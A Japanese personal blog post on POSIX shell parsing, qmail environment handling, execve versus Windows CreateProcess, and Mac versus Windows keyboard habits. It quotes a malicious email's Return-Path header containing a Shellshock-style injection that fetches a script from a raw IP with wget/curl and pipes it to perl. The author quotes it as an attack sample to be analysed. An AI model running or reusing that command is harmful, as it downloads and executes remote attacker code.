突然だが、これを`sh`やその仲間で実行したらどうなるだろうか?
foo="bar; echo hoge";
echo ${foo}
答えは
bar; echo hoge
である。
展開結果がecho bar; echo hogeになってechoが2回実行されたりはしない。
今回はそういうお話。
個人的にはBash使いで、macOSのデフォルトシェルがZshになってからもずっとBashを使っている。 デフォルトの補完表示が馴染めない、というだけなので、設定を調整すれば大丈夫な気もするが、シェルはエディタと並んで指が操作の全てを覚え込んでしまうため、新しい環境に移行するのは大変である。
そんなわけで手元でスクリプトを書くときはとりあえず#!/bin/bashと書くわけだが、これが共同開発のプロジェクトだったりするともちろんZshや他のシェルを使っている人もいるわけで、なるべくなら#/bin/shと書きたい。
/bin/shは大体の環境でBashなりZshなりのリンクになっていて、これらのシェルはshという名前で起動すると、たいていはPOSIXシェルとして動くようになっている。
だから、スクリプトの内容もなるべくPOSIXの範囲で書きたい。
POSIXはISO・IEEE・Open Groupの3者が共同で作業しているらしく、このうちOpen Groupの仕様書はネット上で見ることができる。
Open Groupのページからたどるとアカウント作ってログインしないといけないようだが、opengroup shell languageあたりで検索するとすぐに出てくる。
余談だが、つい最近、POSIX.1-2024が出てることに気づいた。
realpath・readlinkやgettextまわりが追加されて結構便利になった。
あとはmktempさえ追加されれば…いつもmktempのPOSIX書式ってどうだっけ、って調べると、POSIXにはmktemp自体がないということに気づいて愕然とするんだよな…
mktempはもうPHPのtmpfileとか呼んでしまった方が早いんじゃなかろうか、と思って、ふと、POSIXにもこういう機能を持ったスクリプト言語があるんじゃないか、と思い当たった。
調べてみると、POSIXではシェルスクリプトの他にAWKとm4が使える。
sedやMakeも使えるが、こいつらをスクリプト言語というかどうかは微妙だ。
で、m4にmkstempという、mkstemp(3)を呼びだすマクロがあることに気づいた。
今度mktempが必要になったら使ってみるか。
Shell Command Languageの「Shell Introduction」を見ると、
という手順になっている。
単純コマンドとして構文解析することが決定すると、その時点でひとつの文が確定し、その後の置換によってふたつ以上の文に分かれたりはしない、ということである。
だからecho ${foo}を構文解析した時点で文がひとつと決まり、fooを展開してセミコロンが出てきたからといって、それ以上文が増えたりせず、セミコロンは単純に;という文字列として扱われる。
こういう解析順序なので、
for=for $for i in a b c; do echo $i; done
これもfor文にはならず、doのあたりでエラーになる。
なぜこんなことを調べようと思ったのかというと、メーラードラえもんさん(MAILER-DRAEMON、うちのメーラーデーモンのfromはこうなってるのです)からこんなメールが届いてたから。
Return-Path: <"() { :; }; wget -qO - http://109.236.81.74/~hello3pl/a|perl; curl -sS http://109.236.81.74/~hello3pl/a|perl">
Received: from vps1891.baseservers.com (HELO x) (67.213.*.*)
by ....akamoz.jp with SMTP; 23 Mar 2026 11:39:55 -0000
xxx
これ、明らかにOSコマンドインジェクションである。 で、調べてみると、過去にOpenSMTPDにOSコマンドインジェクションの脆弱性があったことが分かる。
当サイトのMTAはqmailなのでもちろんこの脆弱性には該当しないのだが、それはqmailの中だけの話である。
qmailにはdot-qmailというのがあって、着信したメールに対してユーザーが自由にコマンドを実行できる仕組みがある。
このコマンドの環境変数SENDERに相手からもらった表書きFROMがそのまま設定されるのだな。
qmailに問題はなくとも、ユーザーがスクリプトでやらかしてしまうと台無しである。
で、冒頭のコマンドを試してみたわけだ。
結局、evalしたり、一度ファイルに吐いて実行とかしない限り無害であった。
ただ、やはりクォートするに越したことはないだろう。
PowerShell? 知りません、そんなの。 POSIXシェルと別に調べなきゃいけないなんて苦痛でしかない。 なんでこんな変なもん作ったのかね。
setenvしてからexec*すれば好きな環境で新しいプロセスを起動することができるが、このsetenv、manのセクションが3である。
つまり、ライブラリ関数であり、システムコールではない。
じゃあ、システムコールとしてはどんなAPIになるんだろう、と思って調べてみると、マニュアルセクション2に該当の機能はないのであった。
あれー? と思って調べていくと、多くのシステムでは環境変数が絡むシステムコールはexecveで、ここに渡したenvpがそのまま新しいプロセスのmain関数のenvpとして見える、というだけのことだった。
実際にはメモリ空間が違ったり、libcのスタートアップが挟まったりするはずなのでもう少し複雑な状況のはずだが、いずれにせよ、扱いはargvとほとんど同じで、カーネルは環境変数の中身はほとんど気にしてないらしい。
execveを使う場合、環境ブロックは明示的に指定する必要がある。
exec*群の残りの関数はライブラリ関数で、すべてexecveのラッパーである。
このうち、環境変数を指定しないタイプの関数はenvironから環境を引っ張ってくるが、この中身は普通はカーネルではなくライブラリが管理している。
なぜこんなことを調べようと思ったのかというと、さっきの延長である。
つまり、qmailのソースを調べて、SENDERがどう扱われているか調べたのである。
ほとんど加工されずそのままキューに放り込まれて配信され、最終的にqmail-localがenv_put2している。
この関数はenv.cの中にあり、setenvライブラリ関数を呼ばずに、environグローバル変数を使って自力でゴリゴリしている。
別の意味で普通じゃない。
なので、qmailのソースツリーでgrep setenv *しても何も出てこない。
djbどんだけよ。
POSIXの場合、コマンドラインはexecveに渡したものが、ご存知main関数のargvに見えるわけだ。
コマンドラインの各引数に分解された状態でシステムコールを呼び出すので、エスケープとかコマンドラインの分解とは無縁なわけだ。
指定された文字列を、そのまま新しいプロセスのmainに渡すだけ。
だから、コマンドライン分解やエスケープは全部シェルの仕様なわけだ。
なぜわざわざこんなことを書いたかというと、Windowsは違うから。
Windowsの場合、execleに相当するのはCreateProcessWin32 APIである。
execveの引数が3個なのに対し、これがまたやたら引数が多いんだな。
POSIXの場合、新しいプロセスを立ち上げて、自分も生き残りたい場合はforkしてexecveする必要があるが、CreateProcessはforkは不要である。
逆にいうとforkをエミュレートするのが大変で、Cygwinなんかは相当苦労してたはずである。
そしてこのCreateProcess、なんと、コマンドラインをひとつの文字列で指定するのである。しかも、起動したいプログラムの名前にスペースが入っていると非常にややこしいことになる。
リンクはあえて置かないが、CreateProcess win32 APIで検索すればMicrosoftのAPI仕様が見つかるだろう。
そこにきちんと詳細が書いてあるが、こんなの危なっかしくて使えない。
MS-DOSの時代、コマンドラインはプログラムセグメントプレフィックスの後半に文字列として載っていたが、それを彷彿とさせる仕様だ。
Win32 APIには与えられたコマンドライン文字列をargv配列に分解するAPIがある。
CommandLineToArgvWというのがそれだ。
つまり、Windowsの場合はコマンドライン分解やエスケープは全部カーネルの仕様である。
argv配列からコマンドライン文字列を組み立てるAPIはないようなので、全部自力でエスケープする必要がある。
エスケープの仕様もCommandLineToArgvWのページにぐちゃぐちゃ書いてある(変な仕様なので読んでみるといい)。
大体、引数ばっかり多くてややこしくて、肝心なところが危なっかしいんだよな。
他にもmain関数のUTF-16版のwmainみたいなエントリーポイントがあるとか、Win32 APIのマクロはUNICODEだがtchar.hのマクロは_UNICODEだとか、UNICODE/ANSI両用にすると文字列は全部TEXT()か_T()で囲む必要があるとか、真面目に対応してると超面倒な上、UNICODEだけに対応すると他の環境とコードが共通にならない。
std::coutを使えばいいのかstd::wcoutを使わないといけないのかも判然としない。
まぁ、UTF-16で出てきちゃったらiconvすればいいんだどね、WSL2のUbuntu上なら。
PowerShellの人とかどうしてるのかね。
外部とのインターフェースはUTF-8にしておけばよかったのに。 JavaScriptとかそれで回ってるわけだし。
プログラム名にスペースが入っているとややこしいことになる、で思い出した。
ディレクトリの名前やファイル名に空白が挟まっていると、シェルのforで回したい時とか、makeを使う時とかに困るわけだ。
特にmakeはどうにもならなかった覚えがある。
こういう時、普通はシンボリックリンクを張るということをするわけだ。
UNIXとその仲間たちなら大体の問題はこれで解決する。
問題はWindowsである。
POSIXと同じ意味でのシンボリックリンクはあるにはある。
Vistaくらいから存在しているらしく、mklinkというコマンドで作れるらしい。
が、コマンドプロンプトからmklinkと叩くと「権限が足りない」と怒られる。
えーっと、runasってどうやって使うんだっけ…で思考が止まる。
そもそも、ln -sが権限不足で動かないシステムなんて見たことがない。
MSはどうもリンクの類は積極的に使ってほしくはないようだ。
何かバグでも隠れてるのかしらん? と勘ぐりたくなる。
でも、Windowsにはショートカットもあるではないか!
これはもっと古く、Windows 95くらいから存在している。
が、ショートカットは基本的に.lnkという拡張子のタダのファイルである。
UNIXのシンボリックリンクは、例えばfopenに渡せばリンクが指している先のファイルをオープンしてくれる。
ところが、Windowsの場合はショートカットそれ自身をオープンする。
つまり、常にlstatのような動きになる。
使えるかこんなもん!
しかも、ターゲットの取得にはIShellLinkとIPersistFileという、ふたつのCOMインターフェースを操作する必要がある。
もうCOMっていうだけで面倒臭い匂いがぷんぷんしてくる。
モダンなCOMインターフェースはファクトリーメソッドがあったりするが、こいつらにはないので、IShellLinkの方は自力でCoCreateInstanceする必要があり、IPersistFileの方はIShellLinkのQueryInterfaceを呼び出す必要がある。
QueryInterfaceはIShellLink自身ではなく継承元のIUnknownのメンバーだから、IShellLinkのメンバー一覧だけを見ていると一生IPersistFileを得られない。
罠が多すぎる。
先ほど書いたとおり、fopenやCreateFileはショートカットの先にあるファイルは一切開いてくれない(ShellExecuteみたいなのはちゃんと見てくれる。VfWとかMFはどうなのかな)。
各アプリが自力で対応する必要がある。
そしてこの対応をやっておかないとお客さんから「ショートカットが開かないんですけど」と苦情をもらうことになる。
最悪である。
名実ともにUNIXであるMacの方が色々とやりやすいことが多い。 AppleがUNIX互換に舵を切ったのはほんと英断だったと思う。 Windowsも最近はWSL2上でUbuntuが動くのと、端末ソフトがすごくまともになったので、仕事中は基本的にUbuntuのbashで過ごしている。 Cygwinも役目が終わりに近いのかな、と思うほど出来がいい。 結局、今はUNIXとその仲間たち対Windows、という構図が明確になってきている。
ついでなので。
MZ-80 → X68000+Human68k、研究室やバイト先ではPC-9801+MS-DOS、就職してからは事務機がPC-9801+MS-DOS、開発機がPC-AT互換機+Win31で、その後長いことWindowsを使ってきた。 本格的にMacを使い出したのは10年くらい前で、今は仕事ではWindows、家ではMacという状態である。 よく、WindowsとMac、どちらが使いやすいか? みたいな論争を見るが、個人的にはGUIの使い勝手はMacもWindowsもそんなに大きくは変わらないと思っている。
タッチタイピストなので、キーボードで済むことはキーボードだけで済ませる、というのが基本スタンスである。 Macの方はキーボードショートカットがワンアクションで、自分で設定できるようになっている。 Windowsの方は階層型メニューであり、アプリが対応していなければ自分では設定できない。 実際にはリソースファイルを編集すれば可能なはずだが、そんなことする人はいないだろう。
これはどちらがいいかというと一長一短だと思う。 Macの場合、最初の1度はメニューを開く必要がある。 開かないとショートカットが分からないわけだ。 あと、ワンアクションの場合、間違って操作した時に「何をやってしまった」のか判明するまでに時間がかかることがある。 特にFinderをいじってる時が危険。 Windowsの階層化メニューの場合、最初からショートカットが書いてあることが多いので、Altキーを使ってバシバシ開いていけばいい。 アクション数は多くなるが、そんなもんそのうち指が勝手に覚える。
AppleはMacのOptionキーにグローバルな機能をあまり割り当てていないのに対し、MicrosoftはWindowsキーに要らん機能をいっぱい割り当てている。 Microsoftも要らん機能が多いと気がついたのか、増えたり減ったりしてるらしい。 Windowsキーをうっかり押してしまうとスタートメニューが開くのだが、昔は一度開いてしまうとスタートメニューにフォーカスが行ってしまい、元のウィンドウに戻るのが面倒で非常にイラっとした。 こんなのちょっと使ってみればすぐ分かるだろうに。 設計した人、タッチタイプできないんじゃなかろうか。 スタートメニューはCtrl+Escで開いてたし、ほんと邪魔なだけ。 そんなんで昔は基本的にWindowsキーはレジストリで殺していた。 今はもう一度Windowsキーを押したり、Escを押したりすれば元のウィンドウに戻ったと思う(会社でしかWindows機はいぢってないので、これを書いているMacでは確認できないの)。
この辺はやっぱりAppleの方がよく分かってる感じがするし、ユーザーがショートカットを割り当てる際にもキー割り当ての自由度が大きい。自由に使えるメタキーがShift・Ctrl・Command・Optionと4つあるのは大きい。 WindowsはWindowsキーがあまり自由には使えない。 ただ、Optionキーはちょっと押しにくいんだけどね。
Ctrlキーで思い出した。 WindowsのCtrl、なんであんな押しにくい位置なのか。 しかも、MacでCtrlキーがあるAの左隣がCaps Lockである。 こんなに押しやすい場所になぜ一生に一度押すかどうかも分からないキーを置いたのか。 あっちの人はCaps Lockをよく使うのか? おかげさまでWindowsマシンを与えられると、まずはCtrlとCaps Lockをレジストリで入れ替える作業から始まる。 そういえば古のPC-9801シリーズはAの左がCaps Lockでそのさらに左がCtrlだったなぁ。 こっちの方が幾分かマシ。 メタキーはGraphキーだった。
Macは大体のアプリでGNU Radlineと同様のカーソル移動ができる。 これ、慣れてしまうとカーソルキーをほとんど押さなくなる。 実は昔はダイヤモンドカーソル派だったのだが、MacになってからCtrl+P/N/B/Fで移動できるように指の方のバイディングを直した。 MacではKarabinaを入れていて、シェルのCommand+F/Bだけは端末に奪われないようにしている。 これはReadlineのカーソル単語移動で、Optionキーでも操作できるのだが、やっぱりちょっと押しにくいので。 で、Macのアプリの中でOutlook、お前だけショートカットが違うわけだな。 行頭へのカーソル移動はMacのほぼ全てのアプリでCtrl+Aなのだが、Outlookでこれをやると全選択になる(Macの全選択はCommand+A)。 行頭に1文字入れようと思って何も考えずに指を動かすと、全選択して1文字入力だから…
あと、WindowsとMacの操作感で違うのはウィンドウの切り替えである。
WindowsはAlt+Tabで全部のアプリの全部のウィンドウを串刺しにして巡回できる。
MacはCommand+Tabでアプリが切り替わり、アプリ内のウィンドウはデフォルトではCommand+`、日本語キーボードだとCommand+@で切り替わる。
このMacの操作がいつまで経っても慣れない。
ちなみに、Command+@はOption+Tabに設定し直してある。
たとえば、シェルひとつとテキストエディタふたつを順に行ったり来たりする場合、Windowsならば毎回Alt+Tabを2回押していればいい。 Macの場合、テキストエディタをスタート地点にすると、まずOption+Tabでもうひとつのエディタ、続いてCommand+Tabでシェル、そしてCommand+Tab・Option+Tabで元のエディタに戻ってくることになる。 この操作がどうも煩雑で馴染めない。 串刺し巡回してくれる拡張機能みたいなのがあるのも知っているが、そういう拡張機能があるということは、この挙動に慣れない人が一定数いるということだと思う。
もうひとつ、かな漢字変換のON/OFFの状態もMacの挙動はちょっと不便だ。
WindowsはアプリごとにON/OFFを覚えているので、たとえば端末エミュレータとエディタを行ったり来たりする場合、端末エミュレータではかな漢が切れていてコマンドを普通に入力でき、エディタではかな漢が入っていて文章を普通に入力できる。
Macの場合はON/OFFの状態はシステム全体で共有しているので、エディタで文書を打ち込んだあと端末エミュレータに戻るとかな漢が入ったままになっている。
WindowsでもMacでもシェルでgit commitをした場合はGUIのエディタが立ち上がるようにしてあるのだが、ログを書いてコミットしたあと、シェルで何か打とうとした時にMacでは大抵やらかしてしまうのだな。
また、Windowsは最後のウィンドウが閉じるとアプリが終了するのに対し、Macでは最後のウィンドウを閉じてもアプリそれ自体は終了しないのが普通だ。 これも最初は戸惑ったが、今は逆にWindowsを操作してる時に「あぁ、そうだった」と思うようになってしまった。 たとえば、Macの場合、Chromeの最後のウィンドウを閉じてもChromeは終了しておらず、この状態でCommand+Nを押すと新しいChromeのウィンドウが出てくる。 Windowsは出てこない。 今見てるウィンドウを閉じて新しいサイトを見ようと思った場合、Macは閉じてから開くということができるが、Windowsの場合は新しいウィンドウを開いてから古いウィンドウなりタブなりを閉じる必要がある。 まぁでもこれは単純に慣れかな。
あと、やっぱりエディタは秀丸が使いやすいんだよなー、MacではCotEditor使ってるんだけど。
20 Apr 2026: かな漢の挙動を追加
03 Apr 2026: 新規作成
ご意見・ご要望の送り先は あかもず仮店舗 の末尾をご覧ください。
Copyright (C) 2026 akamoz.jp